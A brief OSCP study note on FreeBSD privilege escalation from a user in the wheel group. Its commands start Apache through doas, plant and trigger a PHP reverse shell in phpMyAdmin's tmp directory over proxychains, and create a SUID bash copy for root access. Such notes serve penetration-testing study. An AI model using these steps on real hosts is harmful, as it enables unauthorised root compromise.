Misc Freebsd

If the user www is apart of the wheel group, you can start the apache2 service, plant a reverse shell and become www

#linux privilege escalation#adot8

source · oscp.adot8.com · linux-privilege-escalation/misc_freebsd ↗

FreeBSD

If the user www is apart of the wheel group, you can start the apache2 service, plant a reverse shell and become www

code

01/usr/local/bin/doas service apache24 onestart
02cd /usr/local/www/apache24/data/phpMyAdmin/tmp
03vi shell.php
04proxychains -q curl 172.16.195.20/phpMyAdmin/tmp/shell.php

Now you can use /usr/local/bin/doas to become root

code

01/usr/local/bin/doas cp /bin/bash /tmp && /usr/local/bin/doas chmod u+s /tmp/bash